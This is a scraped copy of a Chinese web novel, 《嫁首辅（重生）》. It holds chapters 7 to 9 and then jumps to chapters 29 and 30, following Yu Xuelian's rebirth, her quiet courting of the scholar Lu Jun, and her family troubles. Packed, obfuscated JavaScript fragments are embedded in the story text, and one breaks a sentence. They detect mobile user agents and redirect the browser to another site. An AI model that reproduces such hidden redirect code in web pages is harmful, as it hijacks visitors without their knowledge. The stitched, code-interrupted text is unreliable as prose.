“对。”尽管浮白现在仍不清楚虞雪怜为何要找这个姓陆的书生，仅按这些天他对这位书生的调查，可与恶霸化敌为友，绝不会是简单的清贫书生。 “陆隽前两年在永宁街摆摊卖书画，胡天福问他要头钱，陆隽没给。当时胡天福派泼皮把陆隽的摊子砸了，陆隽还手跟胡天福厮打起来，最后闹到了衙门。不知陆隽向他提了什么，从此胡天福将陆隽视作兄弟护着。”胡天福是慈溪镇恶霸们的老大，以勒索商铺为生。 陆隽这个名字，在慈溪镇并非无名小辈。他能跟恶霸一起进了衙门，安然无恙地出来，也是匪夷所思。 浮白初到慈溪镇，其实毫无头绪。 这里的书院私塾只有富裕人家的孩子上得起。镇上的街巷总共加起来不过十条，他来回在各处小巷穿梭，也打探不到什么。 本做好去隔壁镇子调查的打算，结果峰回路转，浮白在一家客栈听到伙计喊着陆大状元来收碗筷。 伙计叫男子陆大状元，浮白看他一身书香气，举止稳重得体，和充斥着酒鬼的客栈格格不入。 男子着装朴素，黑色的粗布衫长袍，别无外物装饰。 浮白装作吊儿郎当的阔少，问伙计要了两坛好酒，又随口说，慈溪镇还有状元郎？ 伙计哈哈笑着说：“是哩，陆隽是咱们慈溪镇学富五车的青年才俊嘞，他今年要参加秋闱，我叫他大状元，是给他鼓鼓劲呢。” 有了名字，浮白顺着去别处搜寻有关陆隽的事，查出陆隽是花坞村的村民，父母双亡，在慈溪镇给客栈做长工，以及他和胡天福之间的渊源。因他的命运坎坷，是以同村的村民对他避之不及，提起陆隽的名字，都是满脸的一言难尽。 山路缓缓平稳，马车往下行驶。 虞雪怜大抵是头晕的缘故，她没有接着问浮白，只安静地坐着。 若要用一个字来形容陆隽，虞雪怜想到的便是惨字了。 到了明年，陆隽就如客栈伙计所说，考中新科状元。 她要在这段时间尽可能地帮扶陆隽。 …… 慈溪镇的街巷短窄，来往的百姓却很是拥挤。 虞雪怜戴了月白幕篱，她今日刻意打扮得极不起眼。 普通的布料做成的襦裙，颜色是暗淡的绿。出府前晚香用异样的眼神目送她，毋庸置疑，她自己也觉得这件儿衣裳奇丑。 她和浮白相处得久了，倒是有几分姐弟的感觉。两人在街巷边走边逛，不知不觉地到了永宁街。 永宁街摆摊的小贩不多，虞雪怜漫无目的地走着。 她停在一方木桌前，上面摆着笔酣墨饱的字帖，淡墨渲染的诗画，笔触细腻入微。 旁的小贩吆喝着，唯独这张木桌静悄悄地立在这儿，像创作出这些字画的人一样，沉稳内敛。 虞雪怜拿起一幅芍药花图，抬眸问道：“公子， 7. 急雨 《嫁首辅（重生）》全本免费阅读 “若写惯了小楷，突然练行书会吃力。” 陆隽眼眸明澈，语气平和：“这个比较适合你。” “谢谢公子。”虞雪怜从荷包里拿出一串铜钱，问道，“这幅字帖和芍药花图，一共是多少？” “二十五文。”陆隽说。 虞雪怜自顾自地拨了五十个铜板，她是不想表现得财大气粗，但陆隽未免要价要得过于便宜了。 他画的芍药图在金陵城起码值二两银子的，有的画风粗糙却因名气叫价叫到数十两。 反正她觉得陆隽的画值得高价，只是若上来就给他白银，一来显得不正常，二来，陆隽决计不会收的。 吴阿牛的眼睛闪烁着光芒，手痒痒地想收下那五十个铜板，“姑娘，您真豪爽。” 陆隽握住吴阿牛的胳膊，制止他去收钱。 “姑娘给多了，是二十五文。”陆隽的态度严肃，遇到珍惜字画的人不易，他不愿多收文钱。 虞雪怜不认可地说道：“是公子要得少了，这画轴买来也要五文钱，带上字帖，你总共收我二十五文。这怎么够？我不爱占人便宜，还请公子收下。” 言毕，她自己吃了一惊。方才的话好像有点强硬了，她来时是想在陆隽面前做个知书达理、端庄恬静的女子。 上辈子温昭说过，陆隽喜静，她既要拉拢陆隽，那得先让他产生好感。 念及此，虞雪怜偷瞄了陆隽的反应，他大概是在犹豫。 她松了口气，弯唇笑道：“那我再拿一本字帖，公子便收下，如何？” 话都说到这份儿上了，陆隽若再拒绝，她……她大不了就依他的好了。 吴阿牛急得要推开陆隽的手，姑娘慧眼识聪，隽哥干啥要拂人家的意嘛！ 不能动手，还是动嘴。这桩好买卖，万万不能让隽哥的榆木脑袋给搞坏了。 “姑娘，我隽哥不说话便是同意了。”吴阿牛大方地说道，“字帖您随意挑，对了，听您的口音，您不是慈溪镇的人吧？” 陆隽欲要打断吴阿牛，可是女子这次略过了他，把铜板塞到吴阿牛的手里。 虞雪怜点头说：“我是跟家弟出来散心的。闲逛到此，看公子的字画远比家乡画得出色，故而想多买点。” 吴阿牛友善地看向浮白，这兄弟和他年纪相仿，生得白白净净。那姑娘的幕篱掩盖了脸，是朦胧的漂亮。 他们的父母肯定也是助人为乐的好人。 “姑娘的眼光委实独特，我能问问姑娘的名字吗？咱们相逢即是缘，他叫陆隽，我叫吴阿牛。姑娘准备在慈溪镇玩几天？我从小在慈溪镇溜达着玩，这里是不如金陵富饶，好玩的去处还是有一两个的，若姑娘不介意，我可以带你们去。” “我姓虞，单字一个穗。”虞雪怜实在要感谢吴阿牛，这样她便是被动地介绍自己了。 她是很想在慈溪镇逛逛，但她在天黑之前要赶回府。并且她的目的达到，逗留太久也不好。 虞雪怜礼貌地向吴阿牛道谢，说道：“我和弟弟准备回家了，若有机会再来慈溪镇，就有劳公子了。” 吴阿牛有心要与虞雪怜结交，遗憾地说：“虞姑娘下次来慈溪镇，一定记得来永宁街啊，我跟隽哥每天都在这里摆摊。” 只是陆隽的神情未动，没有要说话的意思。 天气闷热黏腻，吴阿牛目送着两位贵客的背影，怅然地说道：“隽哥，虞姑娘下次来会是啥时候呢，万一她不来了怎么办？” “这重要吗？”陆隽着手收拾木桌，把字画装进背篓，说道，“我要回去了。” 吴阿牛瞬间清醒，又疑惑地问：“隽哥，虞姑娘这般好的女子，你怎的无动于衷？” 陆隽默然片刻，说：“我觉得她奇怪。” “奇怪？”吴阿牛百思不得其解，隽哥怕是读书读傻啦，好端端的姑娘，竟说人家奇怪！ “你把木桌搬回客栈，我回去烧饭。” “哎，不行。隽哥，你今儿收摊这么早，不也奇怪吗？你给我说清楚，虞姑娘哪里奇怪了？！” …… 所幸夏日的夜来得晚，虞雪怜的马车赶在天黑之前驶进了金陵城。 这一天的颠簸劳累，加之山路崎岖，虞雪怜累得不想说半句话，回来的路上直吐酸水。 听马夫说进城了，她才提起精神，很快她便能躺到闺阁里的那张柔软床榻，舒舒服服地睡觉了。 “哐当——”马车发出声响，似乎是撞到了硬物，好在路是平的，不然坐在车里的人必要遭殃。 马夫也是焦灼得紧，忙蹲在地上察看，原来是车轱辘断了一根，得换新的。 虞雪怜索性下了马车，出来透透气。 此处距镇国将军府尚远，步行起码要半个时辰。马夫询问虞雪怜，要不要去租辆马车。 虞雪怜只觉今日异常的倒霉，身子不适就罢了，现在连马车的车轮都坏了。 不等她做决定，滚滚乌云袭来，急雨奔流而下——虞雪怜的衣裳被雨浇得湿淋淋，她无奈地望天，即便现在去租马车，等回府少不了要被挨训的。 这当儿，身穿红衣的小厮打着一把画伞，笑容可掬地朝他们走来，“虞娘子，我家小侯爷有请。” 小厮的身后是座酒楼，在金陵城开了有段年头，它的牌匾来历亦是不小，是先帝亲手题名的，名为同春楼。 同春楼因其独门酿造的松醪春口味香醇，博得先帝喜爱，在金陵声名鹊起。 他接着道：“这雨来得急，一时半会儿停不了，小侯爷在二楼厢房瞧见了娘子的马车坏了，他吩咐小的，让我带娘子先到酒楼避雨。” 虞雪怜跟袁丞来过同春楼，这酒楼的确气派，厢房的环境不亚于王侯将相的私宅。 自上次闹翻以后，袁丞和她断了来往，今日偶然碰巧遇上，他大可冷眼旁观。但不论袁丞为何请她，虞雪怜倒不想拒绝他。 是他放下狠话说不再和镇国将军府有任何往来，现在袁丞的举动，不就是在打自己的脸么？所以她没理由拒绝袁丞。 楼外的雨下得昏天黑地，厢房内点着香烛，那烛光在一盏盏莲花纹注碗闪动 8. 念叨 《嫁首辅（重生）》全本免费阅读 哀莫大于心死，而今虞雪怜对袁丞只有恨了，亦做得到沉声静气。 “你没有去参加燕王世子的宴会吗？”虞雪怜问道。 临川侯在金陵城八面玲珑，人脉颇广。袁丞是他的嫡长子，处事又圆滑，南郢朝的贵族子弟都和他打过交道，几个亲王的孩子作风跟袁丞差不多，在府邸办宴次次邀请他。 前天燕王世子给镇国将军府递来了帖子，说是要办曲水流觞宴。虞雪怜跟燕王世子毫无交情，且袁丞和她的事情在金陵城尽人皆知，邀她去宴会，为的无非是在她和袁丞身上寻乐子找热闹。 “我推辞了。”袁丞的手掌覆在虞雪怜的湿发，他不知从哪拿出的丝绢，一点一点擦掉发上的水珠，“你问这个做什么？” “燕王世子给我送了帖子。”虞雪怜忍住厌恶感，镇定地说道，“我没去是害怕他，李娘子说燕王世子有怪癖，爱在酒里下催情的药。你不是和燕王世子关系好吗？怎么没去？” 据她分析，尤为可能篡权的人便是这几位亲王，有本事陷害镇国将军府的非池中之物。她所以要问袁丞，从他嘴中套出来的消息，是在外边查不到的。 袁丞拧干丝绢，笑道：“你怕燕王世子？” “他有怪癖不假，我父亲要我少跟燕王府打交道。” 袁丞继续要给虞雪怜擦头发，女子娇柔的身体隐隐在发颤，他停下手中动作，问：“你就这么怕燕王世子？” 虞雪怜尴尬地笑道：“是个女子都怕他吧？” “有燕王管着他，他没胆子横行霸道。有我在，你不用怕他。” 虞雪怜默默思忖，听袁丞的口风，他一点都不惧怕燕王府的势力，也不把燕王世子放在眼里。 燕王世子乃是好色之徒，而燕王怒其不争，无可奈何，只警告儿子莫要触犯底线。 其余的话，袁丞一字不多说。 恰好小厮来传话，说浮白驾着马车在楼下等候。 “我送你下楼。”袁丞以为今日和虞雪怜的对话，缓和了他们之间的关系，至少不似那天让人难堪。 虞雪怜回绝道：“不必了。” 她脚步轻快地走出厢房，袁丞则神色阴郁地看着空荡的走廊，他把丝绢扔在地上，既恼自己又被耍弄了一次，又恼自己不受控制去讨好虞雪怜。 下次，下次他不会再犯癫痴病。 …… 虞雪怜回到府里，已做好迎接父亲劈头盖脸的责骂。出乎意料的是，父亲不在正厅，母亲坐在官帽椅上等她。 陈瑾见虞雪怜淋了雨，就催着她回房沐浴换衣，要她翌日早点起来，有要事告诉她。 那厢良儿和晚香得了信，当即备好热水、沐浴用的花瓣。 雨停后是一阵闷热，层层热意包裹全身，这样的气候，难免烦躁扰乱心神。 虞雪怜在木桶里泡了许久，晚香在旁伺候着，也不敢问娘子今日去了哪里游玩，她抿了抿嘴，小声问道：“娘子，你回来的时候，夫人有没有和你说什么？” “母亲没说什么。” 虞雪怜的手指泡得褪了皮，良儿忙不迭地拿着汗巾给她擦身。 待虞雪怜更完衣裳，晚香终是大胆说道：“奴婢听夫人房里的丫鬟说，老太太要到金陵来。” “祖母要来住吗？”虞雪怜不觉惊讶，祖母一直住在衢州府，跟大伯虞隆生活，对父亲是不闻不问。这辈子袁丞求亲的日子都提前了，那么祖母突然到金陵，于她而言，不算奇怪。 晚香讲起事来便不拘束了。这几日娘子变化太大，她憋闷着不敢多言，今儿个逮着一件大事，必须得和娘子说道一番。 “老太太若是单纯到金陵住段时间就好了。”晚香愁眉苦脸地说，“不晓得老太太从哪得知娘子和小侯爷的事情，她问夫人娘子何时出嫁，又责备老爷不跟她说娘子的婚事。老太太估摸着再有半个月抵达金陵，娘子，老爷为这事，还和夫人吵架了。” “娘子，这通风报信的人真是满肚子坏水，娘子明明和小侯爷……唉，现在把老太太搬来，这不是存心想把咱们府邸搅乱吗？” 话音落地，房外响起少女轻快的声音——她虽在房外站着，那声音响得像是溢出的水，洒进整间厢房。 “表姐，你知不知道祖母要来了？你今日去哪玩了？都不带着我一起去，对了，我有秘密要告诉你。” 虞浅浅的力气很好地传承了镇国将军府的血脉，她轻轻一推房门，便犹如狂风侵袭，门板都在震动。 “这么晚不歇息，只为了来给我告密吗？”虞雪怜似笑非笑地问，“虞浅浅，上次你在后花园偷听的事，也该好好跟我说一说了。” 虞雪怜这些天忙着研究兵书，没有出过兰园，而她表妹虞浅浅就住在她对面的阁楼，却是整天不露头。 “表姐，您大人有大量，别和我计较啦。”虞浅浅抱住虞雪怜的胳膊，两眼可怜地盯着她，“现在府里全都知道表姐拒婚了嘛，我那不算是偷听。” 虞浅浅的父母早年间因瘟疫丧命，她那时才七岁，孤苦伶仃地在扬州街头乞讨。 是虞鸿托扬州知府找到虞浅浅，接她回金陵，抚养至今日。陈瑾打心眼里疼爱虞浅浅，府邸的丫鬟婆子更是尽心尽力地照顾。有了这样的宠爱，虞浅浅自然有些许的骄纵。 虞雪怜上辈子和虞浅浅的关系不好不坏，她们俩的性情差不多，总是不能够安静地待在阁楼做女红。不过虞浅浅骄纵归骄纵，她很听虞鸿夫妇的教导，平常就在府邸瞎玩瞎闹，不踏出府门半步。 若不是镇国将军府出了变故，虞浅浅仍可以过得无忧无虑——虞雪怜心下思量，她虽不是特别了解表妹，但表妹是个兜不住事情的人，一旦从哪打听来小道消息，不消一天，便能传到所有人的耳朵。 虞雪怜问道：“你有何秘密要说？” 虞浅浅先瞧了瞧关紧的窗子，又摆手让良儿她们出去，最后才一本正经地说道：“表姐，其实给祖母递书信的人是柳姨娘，可是柳姨娘和祖母说的是表姐拒不成婚，什么有辱家风，耽误卉姐姐找婆家。我想祖母是看漏了信，以为表姐要出嫁了。” 说到此处，虞浅浅不好意思地摩挲着耳垂下的荷叶坠儿，“我是凑巧去拢翠阁找卉姐姐绣荷包，无意中听见卉姐姐在哭闹，她说柳姨娘做出这等不光彩的事情，给府里添乱……表姐 9. 芍药 《嫁首辅（重生）》全本免费阅读 陆隽自是发觉出字画摊的生意好了，慈溪镇的百姓变得忽然爱读书，忽然会欣赏山水花鸟图，是略带着诡异的。 他不觉得买字画的百姓是因需而买，他们不懂得什么是小篆，什么是草书，甚至不会握毛笔，却要来买字帖。 陆隽不知晓背后的隐情，但明显有人在照顾他的生意。 吴阿牛讪讪地翻开书，他是服了隽哥的这股倔劲，读就读吧，反正书中有黄金屋。 “陆公子还记得我吗？”女子喃喃问候，把吴阿牛从黄金屋里边拽了出来。 “虞姑娘！”吴阿牛嗖地下了竹椅，笑嘻嘻地说：“你今日得空啦？” 虞雪怜戴着原先的月白幕篱，上次她来慈溪镇，天气不似现在热火。她今日穿着薄纱素白襦裙，这料子亮得仿佛是夜间的明月，亮得叫人只可远观而不敢接近。 陆隽颔首道：“虞姑娘。” 吴阿牛努力做出斯文的模样，看向女子和她身旁沉默寡言的弟弟，问道：“虞姑娘和令弟近来可好？” “近来家父管教严厉，我和弟弟在家中研读诗书。” “今日虞姑娘是来买字画的吗？” “是，也不是。”虞雪怜低下视线，木架摆的字画是崭新的，随之她抬眼问道，“我母亲看了陆公子的画，说公子的手笔流畅自如，把芍药花的纹理画得与做针线活一样细致，我这次来是受母亲的嘱咐，她想让我问问陆公子，可会画人像？” 陆隽不擅长画人像，他说道：“我不确定能否画好人像图。” “陆公子不妨试试，试着给我画一幅人像图，日后也是多了一条赚钱的门路。”虞雪怜的幕篱被风吹开一角，璧玉的皮肤泛红，这是一张再适合不过出现在画纸上的脸。 陆隽接下了这门生意。 …… 这是陆隽初次坐马车，车内宽敞，案几放着文房四宝。 马车纹丝不动，这是虞雪怜选的地方。画像需要静谧的环境，在慈溪镇短时间找不到这样的环境，思来想去，她带着陆隽上了她的马车。 不好的地方便在于，本就燥热的天气，人闷在车内，汗如雨下。 陆隽在认真研墨，手背鼓起的青筋宛若一棵粗壮树木的枝条。 孤男寡女共处一座马车，他希望尽快把画像画出来，但研墨快不得。 虞雪怜也想早点让陆隽画完，祖母后天便要到金陵，母亲让她放轻松，不要害怕，有爹爹撑腰。她归根是死过一次的人，倒不怕祖母刁难，只是她调查奸臣多有耽搁。 母亲本来是不准她出府抛头露面的，她不能频繁出府，就得让浮白充当她的腿脚，在外探听消息。 她昨儿个央求母亲，让她放放风，总之是对母亲软硬兼施，终于顺利出了金陵。 “陆公子去过金陵城吗？” 好不容易和陆隽单独待着，虞雪怜不允许两人一言不发，她要抓住机会，主动跟陆隽搭话。 先礼后兵，若将来拉拢不到陆隽，她要考虑用硬手段了。 “很久之前，去过一次。”陆隽敛起衣袖，把墨条放回去，接着，他直面迎上虞雪怜的目光，“虞姑娘出汗了。” “嗯……是吗。”虞雪怜让陆隽这么一说，感觉里里外外都在流汗，她解开系在腰间的丝绢，把脸庞的汗擦干。幸好她没涂胭脂，不然陆隽今日要画出一幅花猫图了。 虞雪怜保持着优雅，坐姿端正，笑着问道：“陆公子要开始画了吗？” 陆隽提笔蘸墨，没有了幕篱的遮挡，女子的脸清晰可见。 “虞姑娘不必拘谨。” 画人像讲究形神兼备，要细致观察人脸的轮廓、眼神、表情，若观察不到位，便会出差错。 陆隽未曾这般仔细盯着女子的脸，他想起年少读过的一句诗——日照新妆水底明，风飘香袂空中举。 他看不出女子施的是什么妆容，她的容貌是如这句诗，春日明媚，灼灼其华。 陆隽不禁鄙夷着此刻的念头，他竟也会对年轻貌美的女子失神么。 “陆公子，你也出汗了。”虞雪怜提醒道。 她递给他一条绣着芍药花的丝绢，笑而不语。 陆隽没有什么喜好，生在穷苦人家，又岂会有资格去追求不能填饱肚子的东西。 他母亲生前绣工娴熟，给镇上的商贾夫人绣裙裳的花纹，绣的荷包往货郎那送。卖货郎也认准陆母的刺绣，月月都要去花坞村一趟。 陆母伤了眼睛后，不能穿针线，她整日茶饭无心，陆隽便让母亲教他刺绣，画芍药花就是在那时学会的。 堂堂男子汉拿着绣花针对着箩筐刺绣，传出去指定让人笑掉大牙。 陆母为此又哭又笑，她哭自己老了不中用，拖累儿子考取功名，白白地浪费光阴，在花坞村吃苦劳累。她笑自己生了个全天下最孝顺的儿子，不嫌刺绣是女人家干的活儿，十里八乡，都找不出像她家陆隽这样好的孩子了。 淡雅的香味若山涧涓涓溪水环绕在车内，那条丝绢的主人在帮陆隽擦拭额头的细汗。 虞雪怜知道陆隽喜欢芍药花，是温昭告诉她的。教坊司的后院种了一大片芍药花，温昭偷偷跟踪过陆隽，他独自站在芍药花前能待上半个时辰，而且，他的茶具也是芍药花的纹样。 她这是投其所好。 虞雪怜只轻轻擦掉陆隽额间的汗，便把丝帕放在陆隽的手心，说道：“这条丝绢我没用过，全当送给陆公子了。” 陆隽的手心在发烫，那条丝绢残留着虞雪怜的温度。他神色微动，将丝绢收了起来。 “多谢虞姑娘。” “陆公子客气了，按辈分，我应该要叫你一声兄长的。”虞雪怜问道，“陆公子今年二十有五吗？” 她对陆隽的年纪一直是模糊不清，只知他是三十岁入的内阁，她死的那年，陆隽已有三十几岁了。 “二十有四。”陆隽在纸上勾画出女子的脸形，尽管想快些完成这幅画像，可他提笔的速度却是慢了。 “虞姑娘呢？” “我上个月刚满十七岁。” 两人相隔七年，虞雪怜在心里算了算，陆隽行冠礼之时，她尚未及笄呢。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930025|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人家里的灶房。 虞牧遂想到南川昨天来府上，说妹妹莫名的古怪，在研究兵书。 南川用严肃认真的口吻告诉他，要当心盯着妹妹，观察她身边有没有异常的人或事。 虞牧默然陷入沉思，旋即道：“我送你回兰园。”接着往圆拱门的方向走。 他在军营一年半载回来一趟金陵城，知道的家事少之又少。然仅这一晚，妹妹拒婚临川侯府，在游船宴会上误吃药酒……跟妹妹有关的话他都格外注意，他认为柳姨娘所言和事实有偏颇，所以决定亲自问问妹妹。 在他眼里，妹妹的个子是高了，稚嫩的脸蛋随岁月递进成熟。但血脉相连，他是陪着妹妹一同长大的，记忆中那一声声“哥哥”，肉乎乎的手抱着他的胳膊，央求他去后花园捉蝴蝶。 在妹妹的口中，他是全天下无人能敌的哥哥。 从爬树、翻花绳、捉蝴蝶、到教她骑马射箭。那时妹妹已经十三岁了，少女有了心事和秘密，偶尔会调皮地打搅他练武，问他的不再是玩耍捉蝴蝶，而是一些他也似懂非懂的问题。 虞牧笨拙地尝试去解开妹妹的疑惑，可父亲安排他入军营，他解不开了。 他和妹妹相隔两地，只可通过家书对话。 虞牧一度很鄙夷自己，武功是父亲从小教给他的。除此以外，他找不到别的优势。 他反应迟缓，做事慢，写信慢，周围的同僚写半页纸，他只落笔写了两行。 这便是南川为什么喜欢逗妹妹玩，他和妹妹之间说过的话，议论过的事，南川都一清二楚。 他写得慢，南川聪明机灵，看不下去他慢吞吞地研墨润笔，便帮他写信了。重要的是，南川不爱写信给父母，隔两三个月才写一封。 后来，妹妹在书信中总是给他讲临川侯府，说侯夫人对她极好，要她嫁到临川侯府做小侯爷的娘子。 虞牧读了信，在军营外吹了一夜的风，他的妹妹竟到了嫁人的年纪了吗？ 直到天亮，他抬首望着初升的朝阳，心中仅一个想法，希望妹妹要嫁的男子，如这晨曦暖而热，照耀着妹妹。 29. 祝贺 已是深夜，丁管家得令送袁丞出府。 正厅内，虞鸿翻看着留在桌上的字帖，可见写这字帖的先生有一双巧手，笔走龙蛇，力透纸背。 他一个习武之人，品不了高雅的诗词歌赋，但眼睛不拙，分得清美和丑。 这本字帖便属于前者。 虞鸿合上字帖，字帖是美，他的心情却不美。 袁丞说，这本字帖是他陪着穗穗一起去城外的小镇买的，穗穗回来时忘拿了。 虞鸿念在袁丞是小辈，没给他难堪。袁丞口口声声说要跟穗穗断情，现在又像个情种似的来府上表现自己，想和穗穗重归于好。 穗穗更是有错，既说好不再与袁丞来往，怎么背地里偷偷见袁丞。 兰园和正厅之间隔了一个院子。虞鸿拿着字帖出了正厅，他疾步走着，毫无半点困意。 碰巧兄妹二人前脚刚进兰园，便碰到虞鸿。 “爹爹。”虞雪怜借着黯淡的月光去观察虞鸿，爹爹脸色惨淡，眉毛拧成一股绳。她给袁丞记了一笔账，然后说道：“爹爹，我向祖母认了错，明儿个去祠堂罚跪，女儿保证不会有下次。” 虞鸿怄气地说：“但愿不会有下次。” “父亲，你手里拿的是什么？”虞牧问。 “你妹妹落在袁丞那儿的字帖。”虞鸿当着儿子的面，不好去指责闺女跟袁丞藕断丝连的事，只道：“嘉树，圣上准许延长你休沐的日子，这几天你帮为父看管穗穗，约束着她这爱玩的性子。” 嘉树是虞牧的表字，虞鸿夫妇对他的期望甚大，便给他起了这么个字，望他如屹立不倒的岑天古树，不怕风吹雨打。 镇国将军府的子嗣绵薄，虞牧身为嫡长子，在外要守卫南郢疆土，随时要应对敌人。虞鸿嘴上说着大丈夫志存高远，拘泥在宅院和窝囊废有何异？可自个儿的亲儿子，岂会不盼他平平安安。 虞牧听了父亲的交代，不假思索的说：“父亲莫要动气，我会看好穗穗。” 他原本要护着妹妹，临到关头，他改变了主意。 父亲手中拿着袁丞送来的字帖，身侧萦绕妹妹衣裳散出的灶火味，又或许他的情绪是被父亲所带动——虞牧也难以平静。 父亲生气是很应该的。 虞雪怜垂首帖耳，眼神注视着爹爹拿的字帖。 月光斜斜地照在虞鸿的身上，他的手指掐着字帖的边缘。虞雪怜顿时捏紧衣袖，袁丞送来的……是陆隽写的字帖。 虞雪怜前后练了不下五本的字帖，熟悉陆隽的手法。陆隽的字帖容易辨认，跟别的书斋小贩卖得不一样。他习惯把山水鸟鱼画在字帖的封皮做点缀。 她不愿相信爹爹手里拿的字帖是陆隽的。 爹爹母亲生气，她可以去哄。但眼下的情况牵扯到了陆隽，袁丞选在这个时辰送字帖，她的行踪近乎被他偷窥。 袁丞的举动是在挑衅她。 “字帖先交给你大哥放着。”虞鸿的脸色缓和过来，转手把字帖递给虞牧，他瞪着虞雪怜，道：“谅你这两天也不敢再任性妄为，你祖母责罚得正对，在祠堂老实给我反思，认真地想一想，自己都错在何处。” “女儿知道了。”虞雪怜惆怅地抬眸，余光瞥见大哥捧着字帖在看。 于是她凑近虞牧，踮起脚。心随即彻底死了，这赫然是陆隽亲手写的字帖。 兰园的丫鬟端着盥洗的木盆下了台阶，小丫鬟的眼睛生得明亮，一打眼便瞅到虞鸿，走上前问好：“老爷，您来看夫人吗？” 虞鸿道了声是，一脸庄严地往陈瑾的厢房走去。 “大公子。”小丫鬟被陈瑾教养的圆滑自信，接着向虞雪怜笑道：“娘子，夫人方才吩咐奴婢留意着，若娘子回了兰园，让奴婢告诉你，娘子要早点歇息。等明儿卯时到夫人房里用膳，再去老太太那儿请安领罚。” 虞雪怜说：“我这就回厢房沐浴歇息，你替我给母亲传句话。母亲的咳嗽刚治好，万不能带着气入眠，母亲若气不过，怎么罚我都好，女儿绝无怨言。” 小丫鬟点点头，道：“奴婢记着娘子的话了。奴婢多一句嘴，这会儿夫人不大生气了，她还问嬷嬷，说娘子要跪六个时辰，府邸可有软垫给娘子用，不然娘子的腿肯定要发麻发疼。” 天际的星星分布疏远，弯月清淡的灰暗。不论这一夜如何闹腾，府邸各个院落算是安宁下来。 - 细碎的光映在窗台，小小的草屋此刻热闹非凡。 堂屋的木桌放满了吃酒的菜，三五个穿衙门官服的青年男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963932|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举起瓷碗，道：“吴大人，陆公子，兄弟几个敬二位云路鹏程，一展宏图！” 他们爽快地饮掉整碗酒，擦了擦下巴，“老爷说了，这花坞村的刁民是要整治，慈溪镇的那群恶霸也要收拾。我们奉命办事，在慈溪镇要住上半个月，陆公子若遇刁民欺负，来慈溪镇说一声便是。” 陆隽今晚能推的酒尽量推了，他不喜酒水辛辣的味道，亦极少饮酒。 “有几位大人在，村民吓破了胆，不会来找陆某的麻烦。”陆隽的面容并无醉意，不冷不热地回敬着衙门的人。 有个喝醉的男子咕噜着只顾吃酒，细长脸，青胡须，模样有些像马，尤其是鼻子，说话时呼哧呼哧的。 他道：“陆公子这是折煞我们啊，我们是衙门当差的，全听老爷调遣，哪有胆子称是大人。您是咱慈溪镇，不，南郢明年的新科状元，哥几个要护您周全，才不辱老爷的嘱托。” 陆隽低眉说：“陆某一介平民，诸位今日不辞辛苦为陆某解决难题，不胜感激。” 官差的领头忙摆手道：“陆公子言重了，言重了。” 陆隽送虞穗下山回来，这些衙门的官差便站在院里了。 官差的领头见了陆隽，热情地握住他的手，说他们是受衙门老爷的指令，来花坞村查刁民。 陆隽不想生事端，道出村长妥善处理了此事。 领头的热情不减反增，晓得吴煦在金陵城乃是鸿胪寺主簿，说了好些恭维话，又祝贺陆隽中了解元，打发手下买来几坛黄酒。 从日落至月明，几坛黄酒空了底。其间陆隽寡言少语，官差们瞧他气质不俗，且在金陵城有铁腕儿护着他，想着巴结巴结，也不把他看作是乡野的穷书生。 可是陆隽这人的相貌不亲近，一双眼泛着冷，就连吃酒都激不起他的兴致。 相比之下，吴煦吴大人最易相处。 吴煦苦笑着对官差们说：“陆兄素来谦逊，你们可坐这吃半天的酒了，在下和他是同窗，却也称我吴大人。” “这倒是。”吃醉的男子乐呵呵地附和。 不知是哪个喝晕的官差，问陆隽：“对了，陆公子娶了娘子没有？” 陆隽闻言望向灶房，他想起白日坐在那里的虞穗，答道：“尚未。” 30. 醉酒 男人们围坐着吃酒，说的笑的左右离不开挣银子、升大官、娶娘子。 吴煦健谈，又不摆官老爷的架子，跟这几个官差很合得来。一块儿吃酒吃醉了，也不那么正经八百的只说风雅了，“倪捕快，你人脉广，不若帮陆兄牵牵红线，为他寻个温柔贤惠的娘子。” 倪捕快拍了拍腿，两眼飘忽地说：“不过……不过陆公子才华横溢，娶娘子不算难事吧。” 陆隽默不作声，斯文地给身边官差斟满酒。最后一坛酒空了，他把酒坛放在桌角旁。 他淡然道：“陆某无心娶妻。” “不娶娘子可不行。”倪捕快直言不讳地说，“陆公子别信书里讲的孔儒之道。我们衙门前年来了个书吏，那是仪表堂堂，还不到三十岁哪。这书吏博览群书，全衙门的兄弟都不如他有学问。现在呢，整三十岁了，还没娶到娘子，给他爹娘愁的，找了不少媒婆说亲。” “我和衙里的弟兄寻思着帮帮他，这厮却说，孔子有云，唯小人与女子难养也。他要克己复礼，这辈子不娶娘子了。他这不是读书读痴了嘛！” 其余的官差虽喝醉了，但不至于昏了头脑。他们一致举杯，笑眯眯地道：“老倪就爱管闲事说闲话。来，吴大人，陆公子，弟兄几个再敬你们一杯，今夜多谢二位款待。” 这碗酒是推不掉的。陆隽拿起瓷碗，颔首回敬，饶是推了许多碗酒，可入腹的酒水也有七八碗。 陆隽的脸还是沉静的，只耳根微红，堂内独他一个人面无醉意。 吴煦毕竟在官场有些年数，酒量不差，凡是有官差敬酒，爽朗地喝下一碗又一碗。 给陆兄找娘子的事，他是不提了。这倪捕快三言两语透露着不靠谱，而陆兄说无心娶妻，那么更不必提了。 倪捕快打了个酒嗝，道：“我说得不对吗？吴大人，你要好生劝劝陆公子，娶娘子要趁早，有个伴陪着，不寂寞啊。” “你醉成什么样了，闭嘴罢。”领头的打断倪捕快的话，坐起身，指挥道：“行了，咱们该下山去了。” 